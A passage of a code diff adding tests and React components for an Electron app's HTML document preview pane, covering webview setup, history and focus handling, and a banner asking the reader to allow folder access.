+  })
+
+  // Browser parity: a browser tab is named by the document it shows. What the document names is
+  // the tab; what it must never rename is the chip, which is the reader's only proof of which
+  // file on which host they are looking at.
+  it('lets the document name its tab while the chip keeps naming the file', async () => {
+    const webview = await renderPreview(container, root)
+    store.pageStateUpdates.length = 0
+
+    await act(async () => {
+      const event = new Event('page-title-updated')
+      Object.assign(event, { title: 'Quarterly Report' })
+      webview.dispatchEvent(event)
+    })
+
+    expect(store.pageStateUpdates).toEqual([
+      { pageId: 'preview-1', updates: { title: 'Quarterly Report' } }
+    ])
+    expect(button(container, 'Copy file path').textContent).toContain(ENTRY_RELATIVE_PATH)
+  })
+
+  // Why: the browsing tour walks anchors by name, and a preview answering to the browser pane's
+  // anchors would hand it steps about profiles and cookies that a document tab does not have.
+  it('claims none of the browsing tour anchors', async () => {
+    await renderPreview(container, root)
+
+    expect(container.querySelector('[data-contextual-tour-target]')).toBeNull()
+  })
+
+  it('copies the absolute path the owning machine spells, not the workspace-relative one', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      button(container, 'Copy file path').click()
+    })
+
+    expect(clipboard.writes).toEqual([ABSOLUTE_PATH])
+    // The icon swap alone says nothing to a screen reader, so the control renames itself.
+    expect(button(container, 'Copied')).not.toBeNull()
+  })
+
+  it('starts with both history controls disabled', async () => {
+    await renderPreview(container, root)
+
+    expect(button(container, 'Back').disabled).toBe(true)
+    expect(button(container, 'Forward').disabled).toBe(true)
+  })
+
+  it('enables Back once the guest has somewhere to go back to and drives the guest', async () => {
+    const webview = await renderPreview(container, root)
+    const { goBack, goForward } = stubHistory(webview, { canGoBack: true, canGoForward: false })
+
+    await act(async () => {
+      webview.dispatchEvent(new Event('did-navigate'))
+    })
+
+    expect(button(container, 'Back').disabled).toBe(false)
+    expect(button(container, 'Forward').disabled).toBe(true)
+
+    await act(async () => {
+      button(container, 'Back').click()
+      button(container, 'Forward').click()
+    })
+
+    expect(goBack).toHaveBeenCalledTimes(1)
+    // Why: a disabled edge control must be inert, not merely dimmed.
+    expect(goForward).not.toHaveBeenCalled()
+  })
+
+  // Fragment links navigate in-document, which is still a history entry a reader expects Back to
+  // unwind — the guest reports it on a different event than a full navigation.
+  it('tracks in-document navigation as history too', async () => {
+    const webview = await renderPreview(container, root)
+    stubHistory(webview, { canGoBack: true, canGoForward: true })
+
+    await act(async () => {
+      webview.dispatchEvent(new Event('did-navigate-in-page'))
+    })
+
+    expect(button(container, 'Back').disabled).toBe(false)
+    expect(button(container, 'Forward').disabled).toBe(false)
+  })
+
+  it('still reloads the guest in place from the toolbar', async () => {
+    const webview = await renderPreview(container, root)
+    stubHistory(webview, { canGoBack: false, canGoForward: false })
+
+    await act(async () => {
+      button(container, 'Reload preview').click()
+    })
+
+    expect(webview.reload).toHaveBeenCalledTimes(1)
+  })
+
+  describe('tools', () => {
+    it('offers the same tool cluster the browsing pane does', async () => {
+      await renderPreview(container, root)
+
+      for (const label of [
+        'Grab page element',
+        'Annotate page element',
+        'Draw on screenshot',
+        'Open source file',
+        'Open with default app',
+        'Preview options'
+      ]) {
+        expect(button(container, label)).not.toBeNull()
+      }
+    })
+
+    // Why: cookies land in a browsing session, and a preview reads workspace disk over a grant —
+    // there is no session for an import to reach.
+    it('hides cookie import, which a preview has no session for', async () => {
+      await renderPreview(container, root)
+
+      expect(container.querySelector('button[aria-label="Import cookies from browser"]')).toBeNull()
+    })
+
+    // The picker is driven through main, which resolves the page to whichever guest is rendering
+    // this document now — so the id it sends is the page, not the grant a re-mint would replace.
+    it('arms the element picker against the page the document is open in', async () => {
+      await renderPreview(container, root)
+
+      await act(async () => {
+        button(container, 'Grab page element').click()
+      })
+
+      expect(grabCalls).toEqual([{ browserPageId: 'preview-1', enabled: true }])
+    })
+
+    it('opens the document source as its own editor tab', async () => {
+      await renderPreview(container, root)
+
+      await act(async () => {
+        button(container, 'Open source file').click()
+      })
+
+      expect(store.openedFiles).toEqual([
+        expect.objectContaining({
+          filePath: ABSOLUTE_PATH,
+          relativePath: ENTRY_RELATIVE_PATH,
+          worktreeId: 'wt-1',
+          mode: 'edit'
+        })
+      ])
+    })
+
+    // Why: a preview is a remote document by construction — the client OS has no copy to launch,
+    // so "open externally" has to download first.
+    it('downloads a runtime-owned document before handing it to the OS', async () => {
+      await renderPreview(container, root)
+
+      await act(async () => {
+        button(container, 'Open with default app').click()
+      })
+
+      expect(store.downloads).toEqual([ABSOLUTE_PATH])
+      expect(osOpens).toEqual([])
+    })
+
+    // Why the storage flag and not the popover: the nudge fires once per install, and the harm is
+    // consuming that one view — a reader who opened a document would spend the browsing pane's
+    // introduction to a tool they were not shown.
+    it('never spends the once-per-install draw-tool hint', async () => {
+      window.localStorage.removeItem(MARKUP_DRAW_HINT_SEEN_KEY)
+
+      await renderPreview(container, root)
+
+      expect(window.localStorage.getItem(MARKUP_DRAW_HINT_SEEN_KEY)).toBeNull()
+    })
+  })
+
+  // Why it has to be somewhere: the preview hides the editor's path header, and the relative path
+  // was only ever copyable from there — the chip and the menu both give the absolute one.
+  it('still offers the workspace-relative path the hidden editor header used to copy', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      // Why not click(): the Radix trigger opens on pointerdown, which happy-dom does not synthesize.
+      button(container, 'Preview options').dispatchEvent(
+        new window.PointerEvent('pointerdown', { bubbles: true, button: 0 })
+      )
+    })
+    const relativeCopy = [...document.querySelectorAll('[role="menuitem"]')].find((item) =>
+      item.textContent?.includes('Copy relative path')
+    )
+    expect(relativeCopy).toBeDefined()
+
+    await act(async () => {
+      ;(relativeCopy as HTMLElement).click()
+    })
+
+    expect(clipboard.writes).toEqual([ENTRY_RELATIVE_PATH])
+  })
+})
+
+// Why this is a test and not left to the pane: a preview has no address bar to hand focus to the
+// document, so without this its keyboard and link input can silently land outside the visible guest.
+describe('HtmlDocPreview guest focus', () => {
+  let container: HTMLDivElement
+  let root: Root
+  let focused: Element[]
+  let focusSpy: ReturnType<typeof vi.spyOn>
+
+  beforeEach(() => {
+    focused = []
+    focusSpy = vi
+      .spyOn(HTMLElement.prototype, 'focus')
+      .mockImplementation(function (this: HTMLElement) {
+        focused.push(this)
+      })
+    container = document.createElement('div')
+    document.body.appendChild(container)
+    root = createRoot(container)
+  })
+
+  afterEach(async () => {
+    await act(async () => root.unmount())
+    container.remove()
+    focusSpy.mockRestore()
+  })
+
+  async function settleFrames(): Promise<void> {
+    await act(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 50))
+    })
+  }
+
+  it('hands the guest focus once the preview is the surface the reader is in', async () => {
+    const webview = await renderPreview(container, root, { holdsGuestFocus: true })
+    await settleFrames()
+
+    expect(focused).toContain(webview)
+  })
+
+  it('leaves focus alone while the reader is looking at something else', async () => {
+    const webview = await renderPreview(container, root, { holdsGuestFocus: false })
+    await settleFrames()
+
+    expect(focused).not.toContain(webview)
+
+    // And the window coming back does not reopen the offer a preview behind a terminal refused.
+    await act(async () => {
+      window.dispatchEvent(new Event('focus'))
+    })
+    await settleFrames()
+
+    expect(focused).not.toContain(webview)
+  })
+
+  // Why the window's own focus has to re-offer: another app taking the front pulls focus out of the
+  // guest, and coming back lands it on the embedder. The guest is where a clicked link is reported
+  // from, so without this the route out of the preview stays shut until something remounts it.
+  it('offers the guest focus again after the window gets it back', async () => {
+    const webview = await renderPreview(container, root, { holdsGuestFocus: true })
+    await settleFrames()
+    focused.length = 0
+
+    await act(async () => {
+      window.dispatchEvent(new Event('focus'))
+    })
+    await settleFrames()
+
+    expect(focused).toContain(webview)
+  })
+
+  // Why that re-offer has to yield: the window also gets focus back when the reader presses a tab,
+  // because the guest holding the keyboard is what blurred the embedder. Taking it back from there
+  // fights the reader for their own click.
+  it('leaves focus with whatever claimed it when the window comes back', async () => {
+    const webview = await renderPreview(container, root, { holdsGuestFocus: true })
+    await settleFrames()
+    focused.length = 0
+
+    const claimant = document.createElement('button')
+    document.body.append(claimant)
+    Object.defineProperty(document, 'activeElement', {
+      configurable: true,
+      get: () => claimant
+    })
+
+    await act(async () => {
+      window.dispatchEvent(new Event('focus'))
+    })
+    await settleFrames()
+
+    expect(focused).not.toContain(webview)
+    Reflect.deleteProperty(document, 'activeElement')
+    claimant.remove()
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.tsx b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.tsx
new file mode 100644
index 00000000000..343c5bdb11b
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.tsx
@@ -0,0 +1,448 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { AlertCircle, Loader2 } from 'lucide-react'
+import {
+  DOC_PREVIEW_PARTITION,
+  type DocPreviewFileFailure,
+  type DocPreviewFileFailureReason
+} from '../../../../../shared/doc-preview-scheme'
+import { ORCA_BROWSER_GUEST_WEB_PREFERENCES_ATTRIBUTE } from '../../../../../shared/browser-guest-web-preferences'
+import { BrowserGuestAnnotateOverlays } from '@/components/browser-pane/annotate/browser-guest-annotate-overlays'
+import { useGuestDragPassthrough } from '@/components/browser-pane/host-guest/use-guest-drag-passthrough'
+import { isWebviewDragPassthroughActive } from '@/components/browser-pane/host-guest/webview-drag-passthrough'
+import { moveFocusToRendererBeforeWebviewDetach } from '@/components/browser-pane/host-guest/webview-registry'
+import {
+  buildDocPreviewGrantRequest,
+  ensureDocPreviewGrant,
+  releaseDocPreviewGrant
+} from '@/lib/doc-preview-grants'
+import { selectWorktreeHostDisplayLabel } from '@/lib/execution-host-display-label'
+import { translate } from '@/i18n/i18n'
+import { useAppStore } from '@/store'
+import { openDocPreviewExternally, openDocPreviewSource } from './doc-preview-document-actions'
+import {
+  DocPreviewDirectoryAccessBanner,
+  useDocPreviewDirectoryAccess
+} from './doc-preview-directory-access'
+import { buildDocPreviewDocumentIdentity } from './doc-preview-document-identity'
+import {
+  docPreviewAssetNotice,
+  docPreviewDownloadBlockedNotice,
+  docPreviewFailureDetail
+} from './doc-preview-failure-messages'
+import { DocPreviewToolbar } from './doc-preview-toolbar'
+import { useDocPreviewWebviewHistory } from './doc-preview-webview-history'
+import { useDocPreviewGuestTools } from './use-doc-preview-guest-tools'
+
+type PreviewState = 'loading' | 'ready' | 'unavailable'
+
+function attachDocPreviewWebview({
+  container,
+  url,
+  ariaLabel,
+  onLoadStarted,
+  onLoadStopped,
+  onLoadFailed,
+  onNavigated,
+  onTitleUpdated
+}: {
+  container: HTMLDivElement
+  url: string
+  ariaLabel: string
+  onLoadStarted: () => void
+  onLoadStopped: () => void
+  onLoadFailed: (event: Electron.DidFailLoadEvent) => void
+  onNavigated: () => void
+  onTitleUpdated: (event: Electron.PageTitleUpdatedEvent) => void
+}): { webview: Electron.WebviewTag; detach: () => void; reload: () => void } {
+  const webview = document.createElement('webview') as Electron.WebviewTag
+  // Why no allowpopups: the guest's preload intercepts a trusted click on a link before Chromium
+  // considers a popup at all, so target="_blank" needs no popup path and every one stays denied.
+  webview.setAttribute('partition', DOC_PREVIEW_PARTITION)
+  webview.setAttribute('webpreferences', ORCA_BROWSER_GUEST_WEB_PREFERENCES_ATTRIBUTE)
+  webview.setAttribute('aria-label', ariaLabel)
+  // Browsers paint an undeclared page canvas white; the guest is transparent, so without this the
+  // editor's dark surface shows through and default black text becomes unreadable.
+  webview.style.backgroundColor = '#fff'
+  webview.style.display = 'flex'
+  webview.style.width = '100%'
+  webview.style.height = '100%'
+  webview.style.border = 'none'
+  webview.addEventListener('did-start-loading', onLoadStarted)
+  webview.addEventListener('did-stop-loading', onLoadStopped)
+  webview.addEventListener('did-fail-load', onLoadFailed)
+  // Both: a link to a sibling document is a full navigation, a fragment link is an in-page one,
+  // and only the pair together tracks what Back can actually return to.
+  webview.addEventListener('did-navigate', onNavigated)
+  webview.addEventListener('did-navigate-in-page', onNavigated)
+  // Why the document names its own tab: a preview is a browser tab, and this is how every other
+  // one is named. What the document cannot do is name it the grant it is served over.
+  webview.addEventListener('page-title-updated', onTitleUpdated)
+  // Why here and not in the enrolling hook: appending is what makes this guest hittable, and the
+  // registry's contract is that the path doing so settles it. Dragging the preview's own tab
+  // remounts this component mid-drag, and a hook effect lands a turn too late — for the rest of
+  // that turn the fresh guest eats the pointer stream and the drag freezes.
+  if (isWebviewDragPassthroughActive()) {
+    webview.style.pointerEvents = 'none'
+  }
+  container.appendChild(webview)
+  webview.setAttribute('src', url)
+
+  return {
+    webview,
+    detach: () => {
+      webview.removeEventListener('did-start-loading', onLoadStarted)
+      webview.removeEventListener('did-stop-loading', onLoadStopped)
+      webview.removeEventListener('did-fail-load', onLoadFailed)
+      webview.removeEventListener('did-navigate', onNavigated)
+      webview.removeEventListener('did-navigate-in-page', onNavigated)
+      webview.removeEventListener('page-title-updated', onTitleUpdated)
+      moveFocusToRendererBeforeWebviewDetach(webview)
+      webview.remove()
+    },
+    // Why: the protocol handler answers with no-store, so a reload re-reads the workspace disk.
+    reload: () => {
+      try {
+        webview.reload()
+      } catch {
+        webview.setAttribute('src', url)
+      }
+    }
+  }
+}
+
+/** Frames a preview keeps offering focus to a guest that is still attaching. */
+const GUEST_FOCUS_FRAMES = 10
+const MAX_ASSET_FAILURES = 50
+
+export function HtmlDocPreview({
+  previewId,
+  filePath,
+  relativePath,
+  worktreeId,
+  holdsGuestFocus = false,
+  runtimeEnvironmentId = null,
+  externalSshTargetId = null
+}: {
+  previewId: string
+  filePath: string
+  relativePath: string
+  worktreeId: string
+  /** Whether this preview is the surface the reader is in, and so may hold the keyboard. */
+  holdsGuestFocus?: boolean
+  runtimeEnvironmentId?: string | null
+  externalSshTargetId?: string | null
+}): React.JSX.Element {
+  const containerRef = useRef<HTMLDivElement | null>(null)
+  const webviewRef = useRef<Electron.WebviewTag | null>(null)
+  const reloadRef = useRef<(() => void) | null>(null)
+  const [state, setState] = useState<PreviewState>('loading')
+  const [failureReason, setFailureReason] = useState<DocPreviewFileFailureReason | null>(null)
+  const [assetFailures, setAssetFailures] = useState<DocPreviewFileFailure[]>([])
+  const [downloadBlocked, setDownloadBlocked] = useState(false)
+  const [remintCount, setRemintCount] = useState(0)
+  const [grantId, setGrantId] = useState<string | null>(null)
+  const {
+    requests: accessRequests,
+    busy: accessRequestBusy,
+    offer: offerDirectoryAccess,
+    reset: resetDirectoryAccess,
+    dismiss: dismissDirectoryAccess,
+    allow: allowDirectoryAccess
+  } = useDocPreviewDirectoryAccess({ grantId, reloadRef })
+
+  const history = useDocPreviewWebviewHistory(webviewRef)
+  const { sync: syncHistory, reset: resetHistory } = history
+
+  const worktreeRoot = useAppStore((store) => store.getKnownWorktreeById(worktreeId)?.path ?? null)
+  const hostLabel = useAppStore((store) => selectWorktreeHostDisplayLabel(store, worktreeId))
+  const identity = useMemo(
+    () => buildDocPreviewDocumentIdentity({ filePath, worktreeRoot, hostLabel }),
+    [filePath, hostLabel, worktreeRoot]
+  )
+  const isUnavailable = state === 'unavailable' || failureReason !== null
+  useGuestDragPassthrough(webviewRef, grantId)
+  const { grab, markup, annotationSend, grabAnnotations, browserOverlayViewport, elementTools } =
+    useDocPreviewGuestTools({
+      previewId,
+      worktreeId,
+      grantId,
+      webviewRef,
+      containerRef,
+      toolsReady: state === 'ready' && !isUnavailable
+    })
+  // Not `document`: shadowing the global inside a component is how a stray DOM call silently
+  // starts reading a plain object.
+  const previewDocument = useMemo(
+    () => ({ filePath, relativePath, worktreeId, runtimeEnvironmentId, externalSshTargetId }),
+    [externalSshTargetId, filePath, relativePath, runtimeEnvironmentId, worktreeId]
+  )
+
+  useEffect(() => {
+    let disposed = false
+    let detach: (() => void) | undefined
+    let loadFailed = false
+    const onLoadStarted = (): void => {
+      loadFailed = false
+      setFailureReason(null)
+      setAssetFailures([])
+      setDownloadBlocked(false)
+      setState('loading')
+    }
+    const onLoadStopped = (): void => {
+      // Why sync here too: a navigation's history entry is only committed once loading settles.
+      syncHistory()
+      if (!loadFailed) {
+        setState('ready')
+      }
+    }
+    const onLoadFailed = (event: Electron.DidFailLoadEvent): void => {
+      if (!event.isMainFrame || event.errorCode === -3) {
+        return
+      }
+      loadFailed = true
+      setState('unavailable')
+    }
+
+    setState('loading')
+    setFailureReason(null)
+    setAssetFailures([])
+    resetDirectoryAccess()
+    setDownloadBlocked(false)
+    setGrantId(null)
+    resetHistory()
+    const request = buildDocPreviewGrantRequest(useAppStore.getState(), worktreeId, filePath)
+    if (!request) {
+      setState('unavailable')
+      return () => {
+        disposed = true
+      }
+    }
+    // Why: an unreadable document answers with a status the guest renders as text, so the reason
+    // arrives out-of-band. Subscribe before minting so the entry document's failure cannot be missed.
+    let boundGrantId: string | null = null
+    const unsubscribeFailure = window.api.docPreview?.onLoadFailure?.((payload) => {
+      if (disposed || payload.grantId !== boundGrantId) {
+        return
+      }
+      // Why first: a refused download is the fences answering for the reader, not the document
+      // failing to load, so it can never take the page away — and it names no file to compare.
+      if (payload.reason === 'download-blocked') {
+        setDownloadBlocked(true)
+        return
+      }
+      if (payload.reason === 'authorization-required') {
+        offerDirectoryAccess(payload)
+        return
+      }
+      if (payload.relativePath === request.entryRelativePath) {
+        setFailureReason(payload.reason)
+        return
+      }
+      setAssetFailures((current) =>
+        current.length >= MAX_ASSET_FAILURES ||
+        current.some((failure) => failure.relativePath === payload.relativePath)
+          ? current
+          : [...current, payload]
+      )
+    })
+    void ensureDocPreviewGrant(previewId, request)
+      .then((handle) => {
+        boundGrantId = handle.grantId
+        if (disposed || !containerRef.current) {
+          return
+        }
+        const attached = attachDocPreviewWebview({
+          container: containerRef.current,
+          url: handle.url,
+          ariaLabel: translate(
+            'auto.components.editor.HtmlDocPreview.previewAriaLabel',
+            'HTML preview'
+          ),
+          onLoadStarted,
+          onLoadStopped,
+          onLoadFailed,
+          onNavigated: syncHistory,
+          onTitleUpdated: (event) => {
+            useAppStore.getState().updateBrowserPageState(previewId, { title: event.title })
+          }
+        })
+        detach = attached.detach
+        reloadRef.current = attached.reload
+        webviewRef.current = attached.webview
+        // Why only now: main binds this grant to the guest on its first commit, so the tools have
+        // nothing to name until the webview exists and is pointed at it.
+        setGrantId(handle.grantId)
+      })
+      .catch(() => {
+        if (!disposed) {
+          setState('unavailable')
+        }
+      })
+
+    return () => {
+      disposed = true
+      reloadRef.current = null
+      webviewRef.current = null
+      unsubscribeFailure?.()
+      detach?.()
+    }
+  }, [
+    filePath,
+    offerDirectoryAccess,
+    previewId,
+    remintCount,
+    resetDirectoryAccess,
+    resetHistory,
+    syncHistory,
+    worktreeId
+  ])
+
+  // Why the guest is handed focus: a preview has no address bar to make the usual handoff, so a
+  // surfaced document would otherwise look active while its keyboard and link input land elsewhere.
+  useEffect(() => {
+    if (!holdsGuestFocus || state !== 'ready') {
+      return
+    }
+    let frameId = 0
+    let attempts = 0
+    let claimedOnly = false
+    const focusGuest = (): void => {
+      const webview = webviewRef.current
+      attempts += 1
+      // Why a re-offer yields: it is a handoff for focus nothing else wanted, and the reader
+      // pressing a tab lands here first. Taking it back would fight them for the keyboard, which
+      // is what shut the tab strip while a preview was open.
+      if (
+        claimedOnly &&
+        document.activeElement !== document.body &&
+        document.activeElement !== webview
+      ) {
+        return
+      }
+      try {
+        webview?.focus()
+      } catch {
+        // Why swallowed: WebViewElement.focus() reads null internals once the guest is destroyed.
+        return
+      }
+      // Why retried: the guest takes focus only once it is attached and laid out, a frame or two
+      // after it reports ready.
+      if (document.activeElement !== webview && attempts < GUEST_FOCUS_FRAMES) {
+        frameId = window.requestAnimationFrame(focusGuest)
+      }
+    }
+    const offerFocus = (yieldToOtherClaims: boolean): void => {
+      window.cancelAnimationFrame(frameId)
+      attempts = 0
+      claimedOnly = yieldToOtherClaims
+      frameId = window.requestAnimationFrame(focusGuest)
+    }
+    // Why assertive: the reader just made this preview their surface, so the handoff is the point.
+    offerFocus(false)
+    // Why re-offered on the window's own focus: another app taking the front takes focus out of the
+    // guest, and coming back puts it on the embedder. Nothing hands it on, so the route out of the
+    // preview would stay shut until something remounted it.
+    const reofferFocus = (): void => offerFocus(true)
+    window.addEventListener('focus', reofferFocus)
+    return () => {
+      window.removeEventListener('focus', reofferFocus)
+      window.cancelAnimationFrame(frameId)
+    }
+  }, [holdsGuestFocus, previewId, remintCount, state])
+
+  // Why: a grant is pinned to the owner ids resolved when it was minted, so after a pairing or
+  // SSH reconnect the old one reads nothing and reloading the guest would just refetch the
+  // failure. Drop it and mint against today's ids instead of making the user close the tab.
+  const handleHardReload = useCallback(() => {
+    releaseDocPreviewGrant(previewId)
+    setRemintCount((count) => count + 1)
+  }, [previewId])
+
+  const handleReload = useCallback(() => {
+    if (failureReason !== null || state === 'unavailable') {
+      handleHardReload()
+      return
+    }
+    reloadRef.current?.()
+  }, [failureReason, handleHardReload, state])
+
+  // Nothing rendered on an unavailable preview, so a notice strip would be a footnote on a blank page.
+  const notices = isUnavailable
+    ? []
+    : [
+        downloadBlocked ? docPreviewDownloadBlockedNotice() : null,
+        docPreviewAssetNotice(assetFailures)
+      ].filter((notice): notice is string => notice !== null)
+
+  return (
+    <div className="flex min-h-0 flex-1 flex-col overflow-hidden bg-editor-surface">
+      <DocPreviewToolbar
+        identity={identity}
+        history={history}
+        loading={state === 'loading' && failureReason === null}
+        onReload={handleReload}
+        onHardReload={handleHardReload}
+        onCopyPath={() => void window.api.ui.writeClipboardText(identity.absolutePath)}
+        onCopyRelativePath={() => void window.api.ui.writeClipboardText(relativePath)}
+        onOpenSource={() => openDocPreviewSource(previewDocument)}
+        onOpenExternally={() => openDocPreviewExternally(previewDocument)}
+        elementTools={elementTools}
+        markupActive={markup.isActive}
+        onToggleMarkup={() => (markup.isActive ? markup.cancel() : void markup.start())}
+        // Nothing has painted yet on a loading or failed preview, so there is nothing to draw on.
+        markupDisabled={isUnavailable || state !== 'ready' || grab.state !== 'idle'}
+      />
+      {notices.map((notice) => (
+        <div
+          key={notice}
+          className="flex shrink-0 items-center gap-1.5 border-b px-2 py-1 text-xs text-muted-foreground"
+          role="status"
+          title={notice}
+        >
+          <AlertCircle className="size-3.5 shrink-0" />
+          <span className="min-w-0 flex-1 truncate">{notice}</span>
+        </div>
+      ))}
+      {accessRequests.length > 0 && !isUnavailable ? (
+        <DocPreviewDirectoryAccessBanner
+          requests={accessRequests}
+          busy={accessRequestBusy}
+          worktreeRoot={worktreeRoot}
+          onDismiss={dismissDirectoryAccess}
+          onAllow={allowDirectoryAccess}
+        />
+      ) : null}
+      <div className="relative flex min-h-0 flex-1 overflow-hidden" ref={containerRef}>
+        <BrowserGuestAnnotateOverlays
+          markup={markup}
+          grab={grab}
+          annotationSend={annotationSend}
+          grabAnnotations={grabAnnotations}
+          containerRef={containerRef}
+          webviewRef={webviewRef}
+          browserOverlayViewport={browserOverlayViewport}
+          worktreeId={worktreeId}
+        />
+        {state === 'loading' && failureReason === null ? (
+          <div className="absolute inset-0 z-10 flex items-center justify-center bg-editor-surface">
+            <Loader2 className="size-5 animate-spin text-muted-foreground" />
+          </div>
+        ) : null}
+        {isUnavailable ? (
+          <div className="absolute inset-0 z-10 flex flex-col items-center justify-center gap-2 bg-editor-surface px-6 text-center">
+            <AlertCircle className="size-6 text-muted-foreground" />
+            <p className="text-sm font-medium">
+              {translate(
+                'auto.components.editor.HtmlDocPreview.previewUnavailableTitle',
+                'Preview unavailable'
+              )}
+            </p>
+            <p className="max-w-sm text-xs text-muted-foreground">
+              {docPreviewFailureDetail(failureReason)}
+            </p>
+          </div>
+        ) : null}
+      </div>
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-directory-access.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-directory-access.tsx
new file mode 100644
index 00000000000..99cdb00dcac
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-directory-access.tsx
@@ -0,0 +1,173 @@
+import { useCallback, useRef, useState, type RefObject } from 'react'
+import { AlertCircle, Loader2 } from 'lucide-react'
+import { toast } from 'sonner'
+import type { DocPreviewFileFailure } from '../../../../../shared/doc-preview-scheme'
+import { Button } from '@/components/ui/button'
+import { translate } from '@/i18n/i18n'
+
+function requestedDirectory(relativePath: string): string {
+  const separator = relativePath.lastIndexOf('/')
+  return separator === -1 ? '.' : relativePath.slice(0, separator)
+}
+
+function requestedDirectoryLabel(relativePath: string, worktreeRoot: string | null): string {
+  const directory = requestedDirectory(relativePath)
+  return directory === '.' && worktreeRoot ? worktreeRoot : directory
+}
+
+function reportAuthorizationFailure(): void {
+  toast.error(
+    translate(
+      'auto.components.editor.HtmlDocPreview.directoryAuthorizationFailed',
+      'Could not allow access to this directory.'
+    )
+  )
+}
+
+/**
+ * All blocked folders a load has surfaced so far, batched into one decision: a reader cannot
+ * meaningfully judge `assets/` and `data/` separately, and N sequential banners only train the
+ * allow reflex. What is granted is exactly the set named on the banner, never more.
+ */
+export function useDocPreviewDirectoryAccess({
+  grantId,
+  reloadRef
+}: {
+  grantId: string | null
+  reloadRef: RefObject<(() => void) | null>
+}): {
+  requests: DocPreviewFileFailure[]
+  busy: boolean
+  offer: (failure: DocPreviewFileFailure) => void
+  reset: () => void
+  dismiss: () => void
+  allow: () => Promise<void>
+} {
+  // Why a ref plus a version tick and not state alone: dismiss must fence the directory against
+  // an offer landing in the same event batch, which a state updater sees one render too late.
+  const requestsByDirectoryRef = useRef(new Map<string, DocPreviewFileFailure>())
+  const [, setRequestsVersion] = useState(0)
+  const [busy, setBusy] = useState(false)
+  const dismissedDirectoriesRef = useRef(new Set<string>())
+  const offer = useCallback((failure: DocPreviewFileFailure) => {
+    const directory = requestedDirectory(failure.relativePath)
+    if (
+      dismissedDirectoriesRef.current.has(directory) ||
+      requestsByDirectoryRef.current.has(directory)
+    ) {
+      return
+    }
+    requestsByDirectoryRef.current.set(directory, failure)
+    setRequestsVersion((version) => version + 1)
+  }, [])
+  const reset = useCallback(() => {
+    requestsByDirectoryRef.current = new Map()
+    dismissedDirectoriesRef.current.clear()
+    setBusy(false)
+    setRequestsVersion((version) => version + 1)
+  }, [])
+  const dismiss = useCallback(() => {
+    for (const directory of requestsByDirectoryRef.current.keys()) {
+      dismissedDirectoriesRef.current.add(directory)
+    }
+    requestsByDirectoryRef.current = new Map()
+    setRequestsVersion((version) => version + 1)
+  }, [])
+  const allow = useCallback(async () => {
+    const pending = [...requestsByDirectoryRef.current.values()]
+    if (pending.length === 0 || !grantId || busy) {
+      return
+    }
+    setBusy(true)
+    try {
+      for (const failure of pending) {
+        if (!(await window.api.docPreview.authorizeDirectory(grantId, failure.relativePath))) {
+          reportAuthorizationFailure()
+          return
+        }
+      }
+      requestsByDirectoryRef.current = new Map()
+      setRequestsVersion((version) => version + 1)
+      reloadRef.current?.()
+    } catch {
+      reportAuthorizationFailure()
+    } finally {
+      setBusy(false)
+    }
+  }, [busy, grantId, reloadRef])
+  return {
+    requests: [...requestsByDirectoryRef.current.values()],
+    busy,
+    offer,
+    reset,
+    dismiss,
+    allow
+  }
+}
+
+const MAX_NAMED_FOLDERS = 3
+
+function requestedFolderSentence(labels: string[]): string {
+  if (labels.length === 1) {
+    return translate(
+      'auto.components.editor.HtmlDocPreview.directoryAccessRequest',
+      'This preview wants to read files in {{path}}.',
+      { path: labels[0] }
+    )
+  }
+  const named = labels.slice(0, MAX_NAMED_FOLDERS)
+  const remainder = labels.length - named.length
+  const folders =
+    remainder > 0
+      ? translate(
+          'auto.components.editor.HtmlDocPreview.directoryAccessRequestOverflow',
+          '{{folders}}, and {{count}} more',
+          { folders: named.join(', '), count: remainder }
+        )
+      : `${named.slice(0, -1).join(', ')} and ${named.at(-1)}`
+  return translate(
+    'auto.components.editor.HtmlDocPreview.directoryAccessRequestMultiple',
+    'This preview wants to read files in {{folders}}.',
+    { folders }
+  )
+}
+
+export function DocPreviewDirectoryAccessBanner({
+  requests,
+  busy,
+  worktreeRoot,
+  onDismiss,
+  onAllow
+}: {
+  requests: DocPreviewFileFailure[]
+  busy: boolean
+  worktreeRoot: string | null
+  onDismiss: () => void
+  onAllow: () => Promise<void>
+}): React.JSX.Element {
+  const labels = requests.map((request) =>
+    requestedDirectoryLabel(request.relativePath, worktreeRoot)
+  )
+  return (
+    <div className="flex shrink-0 items-center gap-2 border-b px-2 py-1 text-xs" role="status">
+      <AlertCircle className="size-3.5 shrink-0 text-muted-foreground" />
+      {/* The title carries every folder in full, for when the sentence truncates past three. */}
+      <span className="min-w-0 flex-1 text-muted-foreground" title={labels.join('\n')}>
+        {requestedFolderSentence(labels)}
+      </span>
+      <Button type="button" variant="ghost" size="xs" disabled={busy} onClick={onDismiss}>
+        {translate('auto.components.editor.HtmlDocPreview.dismissAccessRequest', 'Dismiss')}
+      </Button>
+      <Button type="button" size="xs" disabled={busy} onClick={() => void onAllow()}>
+        {busy ? <Loader2 className="size-3 animate-spin" /> : null}
+        {labels.length === 1
+          ? translate('auto.components.editor.HtmlDocPreview.allowDirectory', 'Allow folder')
+          : translate(
+              'auto.components.editor.HtmlDocPreview.allowDirectories',
+              'Allow {{count}} folders',
+              { count: labels.length }
+            )}
+      </Button>
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts
new file mode 100644
index 00000000000..ea3e6390a9c
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts
@@ -0,0 +1,206 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  /** What the per-file resolver answers: null local, a string remote, undefined unresolved. */
+  connectionIdForFile: null as string | null | undefined,
+  /** What the workspace-scoped resolver answers, which is not always the same thing. */
